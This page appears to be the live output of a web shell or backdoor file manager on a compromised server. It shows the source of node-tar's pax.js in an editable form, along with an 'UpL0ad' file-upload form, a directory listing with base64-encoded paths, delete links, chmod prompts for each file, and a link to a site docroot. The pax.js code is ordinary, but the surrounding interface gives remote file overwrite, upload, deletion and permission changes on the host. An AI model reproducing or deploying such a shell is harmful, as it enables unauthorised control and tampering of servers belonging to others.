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<hr>pax.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg%3D%3D&f=cGF4Lmpz"><input name="f" value="pax.js"><textarea name="t">'use strict'
const Header = require('./header.js')
const path = require('path')

class Pax {
  constructor (obj, global) {
    this.atime = obj.atime || null
    this.charset = obj.charset || null
    this.comment = obj.comment || null
    this.ctime = obj.ctime || null
    this.gid = obj.gid || null
    this.gname = obj.gname || null
    this.linkpath = obj.linkpath || null
    this.mtime = obj.mtime || null
    this.path = obj.path || null
    this.size = obj.size || null
    this.uid = obj.uid || null
    this.uname = obj.uname || null
    this.dev = obj.dev || null
    this.ino = obj.ino || null
    this.nlink = obj.nlink || null
    this.global = global || false
  }

  encode () {
    const body = this.encodeBody()
    if (body === '') {
      return null
    }

    const bodyLen = Buffer.byteLength(body)
    // round up to 512 bytes
    // add 512 for header
    const bufLen = 512 * Math.ceil(1 + bodyLen / 512)
    const buf = Buffer.allocUnsafe(bufLen)

    // 0-fill the header section, it might not hit every field
    for (let i = 0; i &lt; 512; i++) {
      buf[i] = 0
    }

    new Header({
      // XXX split the path
      // then the path should be PaxHeader + basename, but less than 99,
      // prepend with the dirname
      path: ('PaxHeader/' + path.basename(this.path)).slice(0, 99),
      mode: this.mode || 0o644,
      uid: this.uid || null,
      gid: this.gid || null,
      size: bodyLen,
      mtime: this.mtime || null,
      type: this.global ? 'GlobalExtendedHeader' : 'ExtendedHeader',
      linkpath: '',
      uname: this.uname || '',
      gname: this.gname || '',
      devmaj: 0,
      devmin: 0,
      atime: this.atime || null,
      ctime: this.ctime || null,
    }).encode(buf)

    buf.write(body, 512, bodyLen, 'utf8')

    // null pad after the body
    for (let i = bodyLen + 512; i &lt; buf.length; i++) {
      buf[i] = 0
    }

    return buf
  }

  encodeBody () {
    return (
      this.encodeField('path') +
      this.encodeField('ctime') +
      this.encodeField('atime') +
      this.encodeField('dev') +
      this.encodeField('ino') +
      this.encodeField('nlink') +
      this.encodeField('charset') +
      this.encodeField('comment') +
      this.encodeField('gid') +
      this.encodeField('gname') +
      this.encodeField('linkpath') +
      this.encodeField('mtime') +
      this.encodeField('size') +
      this.encodeField('uid') +
      this.encodeField('uname')
    )
  }

  encodeField (field) {
    if (this[field] === null || this[field] === undefined) {
      return ''
    }
    const v = this[field] instanceof Date ? this[field].getTime() / 1000
      : this[field]
    const s = ' ' +
      (field === 'dev' || field === 'ino' || field === 'nlink'
        ? 'SCHILY.' : '') +
      field + '=' + v + '\n'
    const byteLen = Buffer.byteLength(s)
    // the digits includes the length of the digits in ascii base-10
    // so if it's 9 characters, then adding 1 for the 9 makes it 10
    // which makes it 11 chars.
    let digits = Math.floor(Math.log(byteLen) / Math.log(10)) + 1
    if (byteLen + digits &gt;= Math.pow(10, digits)) {
      digits += 1
    }
    const len = digits + byteLen
    return len + s
  }
}

Pax.parse = (string, ex, g) =&gt; new Pax(merge(parseKV(string), ex), g)

const merge = (a, b) =&gt;
  b ? Object.keys(a).reduce((s, k) =&gt; (s[k] = a[k], s), b) : a

const parseKV = string =&gt;
  string
    .replace(/\n$/, '')
    .split('\n')
    .reduce(parseKVLine, Object.create(null))

const parseKVLine = (set, line) =&gt; {
  const n = parseInt(line, 10)

  // XXX Values with \n in them will fail this.
  // Refactor to not be a naive line-by-line parse.
  if (n !== Buffer.byteLength(line) + 1) {
    return set
  }

  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const k = kv.shift().replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  if (!k) {
    return set
  }

  const v = kv.join('=')
  set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k)
    ? new Date(v * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v
  return set
}

module.exports = Pax
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/tar/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFy"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=Y3JlYXRlLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Y3JlYXRlLmpz"/>create.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Y3JlYXRlLmpz&c=`+btoa(c):0" value="0644"></td><td>2395</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=ZXh0cmFjdC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=ZXh0cmFjdC5qcw=="/>extract.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=ZXh0cmFjdC5qcw==&c=`+btoa(c):0" value="0644"></td><td>2852</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=Z2V0LXdyaXRlLWZsYWcuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Z2V0LXdyaXRlLWZsYWcuanM="/>get-write-flag.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=Z2V0LXdyaXRlLWZsYWcuanM=&c=`+btoa(c):0" value="0644"></td><td>921</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=aGVhZGVyLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=aGVhZGVyLmpz"/>header.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=aGVhZGVyLmpz&c=`+btoa(c):0" value="0644"></td><td>9154</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=aGlnaC1sZXZlbC1vcHQuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=aGlnaC1sZXZlbC1vcHQuanM="/>high-level-opt.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=aGlnaC1sZXZlbC1vcHQuanM=&c=`+btoa(c):0" value="0644"></td><td>760</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bGFyZ2UtbnVtYmVycy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bGFyZ2UtbnVtYmVycy5qcw=="/>large-numbers.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bGFyZ2UtbnVtYmVycy5qcw==&c=`+btoa(c):0" value="0644"></td><td>2229</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bGlzdC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bGlzdC5qcw=="/>list.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bGlzdC5qcw==&c=`+btoa(c):0" value="0644"></td><td>3224</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bWtkaXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bWtkaXIuanM="/>mkdir.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bWtkaXIuanM=&c=`+btoa(c):0" value="0644"></td><td>5485</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bW9kZS1maXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bW9kZS1maXguanM="/>mode-fix.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bW9kZS1maXguanM=&c=`+btoa(c):0" value="0644"></td><td>649</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bm9ybWFsaXplLXVuaWNvZGUuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bm9ybWFsaXplLXVuaWNvZGUuanM="/>normalize-unicode.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bm9ybWFsaXplLXVuaWNvZGUuanM=&c=`+btoa(c):0" value="0644"></td><td>413</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=bm9ybWFsaXplLXdpbmRvd3MtcGF0aC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bm9ybWFsaXplLXdpbmRvd3MtcGF0aC5qcw=="/>normalize-windows-path.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=bm9ybWFsaXplLXdpbmRvd3MtcGF0aC5qcw==&c=`+btoa(c):0" value="0644"></td><td>410</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cGFjay5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGFjay5qcw=="/>pack.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGFjay5qcw==&c=`+btoa(c):0" value="0644"></td><td>9675</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cGFyc2UuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGFyc2UuanM="/>parse.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGFyc2UuanM=&c=`+btoa(c):0" value="0644"></td><td>14631</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cGF0aC1yZXNlcnZhdGlvbnMuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGF0aC1yZXNlcnZhdGlvbnMuanM="/>path-reservations.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGF0aC1yZXNlcnZhdGlvbnMuanM=&c=`+btoa(c):0" value="0644"></td><td>4410</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cGF4Lmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGF4Lmpz"/>pax.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cGF4Lmpz&c=`+btoa(c):0" value="0644"></td><td>4068</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cmVhZC1lbnRyeS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cmVhZC1lbnRyeS5qcw=="/>read-entry.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cmVhZC1lbnRyeS5qcw==&c=`+btoa(c):0" value="0644"></td><td>2838</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=cmVwbGFjZS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cmVwbGFjZS5qcw=="/>replace.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=cmVwbGFjZS5qcw==&c=`+btoa(c):0" value="0644"></td><td>5705</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=c3RyaXAtYWJzb2x1dGUtcGF0aC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=c3RyaXAtYWJzb2x1dGUtcGF0aC5qcw=="/>strip-absolute-path.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=c3RyaXAtYWJzb2x1dGUtcGF0aC5qcw==&c=`+btoa(c):0" value="0644"></td><td>917</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=c3RyaXAtdHJhaWxpbmctc2xhc2hlcy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=c3RyaXAtdHJhaWxpbmctc2xhc2hlcy5qcw=="/>strip-trailing-slashes.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=c3RyaXAtdHJhaWxpbmctc2xhc2hlcy5qcw==&c=`+btoa(c):0" value="0644"></td><td>394</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=dHlwZXMuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dHlwZXMuanM="/>types.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dHlwZXMuanM=&c=`+btoa(c):0" value="0644"></td><td>1096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=dW5wYWNrLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dW5wYWNrLmpz"/>unpack.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dW5wYWNrLmpz&c=`+btoa(c):0" value="0644"></td><td>25835</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=dXBkYXRlLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dXBkYXRlLmpz"/>update.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=dXBkYXRlLmpz&c=`+btoa(c):0" value="0644"></td><td>866</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=d2Fybi1taXhpbi5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d2Fybi1taXhpbi5qcw=="/>warn-mixin.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d2Fybi1taXhpbi5qcw==&c=`+btoa(c):0" value="0644"></td><td>725</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=d2luY2hhcnMuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d2luY2hhcnMuanM="/>winchars.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d2luY2hhcnMuanM=&c=`+btoa(c):0" value="0644"></td><td>535</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&x=d3JpdGUtZW50cnkuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d3JpdGUtZW50cnkuanM="/>write-entry.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvdGFyL2xpYg==&f=d3JpdGUtZW50cnkuanM=&c=`+btoa(c):0" value="0644"></td><td>15296</td></tr></table>